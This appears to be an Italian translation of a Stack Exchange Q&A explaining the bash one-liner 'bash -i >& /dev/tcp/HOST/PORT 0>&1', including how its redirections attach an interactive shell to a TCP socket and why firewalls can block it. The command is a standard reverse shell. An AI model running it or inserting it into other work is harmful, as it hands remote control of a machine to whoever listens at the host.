Che cosa è bash -i> & / dev / tcp / HOST / PORT 0> & 1?


15

Provai

bash -i >& /dev/tcp/HOST/PORT 0>&1

ma non sembra funzionare dietro i firewall. Cosa fa effettivamente questo codice, quali porte vengono inoltrate e potrebbe funzionare dietro i firewall?

Risposte:


17

Questo frammento esegue una nuova istanza interattiva di bash ( bash -i), su una connessione TCP alla porta specificata sull'host specificato, creata per la durata del processo bash. L'output standard e l'errore standard vengono inviati tramite questa connessione ( >& /dev/tcp/HOST/PORT) e l'input standard viene letto attraverso questa connessione ( 0>&1- questo dovrebbe essere 0<&1ma 0>&1funziona anche).

Non è in corso il port forwarding. Ovviamente, un server TCP di qualche tipo deve ascoltare e accettare connessioni su quel HOST: PORT, e il firewall deve lasciare passare la connessione.


Quale connessione è '/ dev / tcp / HOST / PORT' Dove viene definito l'host e dove viene definita la porta?
Helos,

2
@Helos Hai visto letteralmente /dev/tcp/HOST/PORT? Ho pensato che avresti sostituito un nome HOSTe un numero con PORT. Altrimenti riceveresti un messaggio di errore da bash. Dato che non hai menzionato alcun messaggio di errore, presumo che tu non l'abbia visto.
Gilles 'SO- smetti di essere malvagio' il

1
@Gilles, non riesco a digerire la 0<&1parte. L'ho letto come 'take bash stdout ( &1) e pipe in bash stdin ( 0)', il che ha senso. Puoi spiegare come funziona questa parte?
Golem,

5
@golem Questo è un reindirizzamento. Nessuna pipa è coinvolta. 0<&1significa connettere tutto ciò che è attualmente aperto sul descrittore di file 1 al descrittore di file 0. Poiché il reindirizzamento precedente ha >& /dev/tcp/HOST/PORTcollegato fd 1 (il valore predefinito per un reindirizzamento dell'output) a /dev/tcp/HOST/PORT, cioè aperto un socket TCP, questo duplica la connessione TCP al descrittore di file 0 (ovvero lo stesso socket è ora aperto anche su fd 0, questo è diverso da 0 </ dev / tcp / HOST / PORT che aprirebbe un socket diverso allo stesso server).
Gilles 'SO- smetti di essere malvagio' il

La connessione era una parola chiave per la mia comprensione; chiamare il processo piping è stato davvero ciò che mi ha confuso.
Golem,
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.